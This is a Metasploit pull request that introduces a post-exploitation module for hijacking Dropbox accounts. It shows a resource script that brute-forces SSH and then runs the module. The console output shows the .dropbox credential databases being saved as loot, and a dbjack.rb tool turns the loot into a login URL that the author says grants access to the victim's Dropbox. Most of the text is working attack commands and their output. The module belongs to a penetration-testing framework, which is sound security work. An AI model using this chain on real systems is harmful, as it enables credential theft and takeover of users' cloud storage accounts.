rapid7/metasploit-framework — pull request #1497 by kholia (2013-02-17 15:15:43+00:00)
Title: Long promised post module for hijacking Dropbox accounts

Hi,

This post module is currently messy and I am opening a pull request primarily to get feedback.

Usage:
---------

* Setup demo

```
✗ cat my.rc
use auxiliary/scanner/ssh/ssh_login
set PASSWORD test
set RHOSTS 127.0.0.1
set USERNAME test
set ExitOnSession false
exploit
use post/linux/gather/dropbox_creds
set SESSION 1
exploit
```

* Launch demo

```
✗ ./msfconsole -r my.rc
..
[*] Processing my.rc for ERB directives.
...
[*] 127.0.0.1:22 SSH - Starting bruteforce
...
[*] Command shell session 1 opened (127.0.0.1:47906 -> 127.0.0.1:22) at 2013-02-17 20:24:18 +0530
[+] 127.0.0.1:22 SSH - [2/2] - Success: 'test':'test' 'uid=1001(test) gid=100(users) groups=100(users) Linux somebox 3.7.2-1-ARCH #1 SMP PREEMPT Fri Jan 11 20:38:55 CET 2013 x86_64 GNU/Linux '
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (my.rc)> use post/linux/gather/dropbox_creds
resource (my.rc)> set SESSION 1
SESSION => 1
resource (my.rc)> exploit
[*] Ensure your time is properly synced!
[*] Finding .dropbox directories
[*] Looting 1 directories
[+] File stored in: /home/user/.msf4/loot/20130217202524_default_127.0.0.1_dropbox.jack_442359.txt
...
[*] Downloading /home/test/.dropbox/photo.dbx -> photo.dbx
[+] File stored in: /home/user/.msf4/loot/20130217202536_default_127.0.0.1_dropbox.photo.db_096000.txt
[*] Downloading /home/test/.dropbox/sigstore.dbx -> sigstore.dbx
[+] File stored in: /home/user/.msf4/loot/20130217202537_default_127.0.0.1_dropbox.sigstore_934520.txt
[*] Downloading /home/test/.dropbox/unlink.db -> unlink.db
[+] File stored in: /home/user/.msf4/loot/20130217202538_default_127.0.0.1_dropbox.unlink.d_726083.txt
[*] Post module execution completed
```

* Having fun

```
$ ./tools/dbjack.rb /home/dsk/.msf4/loot/20130217202524_default_127.0.0.1_dropbox.jack_442359.txt ;

https://www.dropbox.com/tray_login?i=487148435&t=1361113826&v=d7b81e770f4a5724bf92430eb598dadd86877367&url=home&cl=en_US

```

Clicking on the output of dbjack.rb gives us access to user's Dropbox.

![dropbox_creds_demo](https://f.cloud.github.com/assets/79528/165059/aa468da6-7914-11e2-8773-ad61a6fa928a.png)

There are other (longer / cumbersome) ways to hijack Dropbox accounts.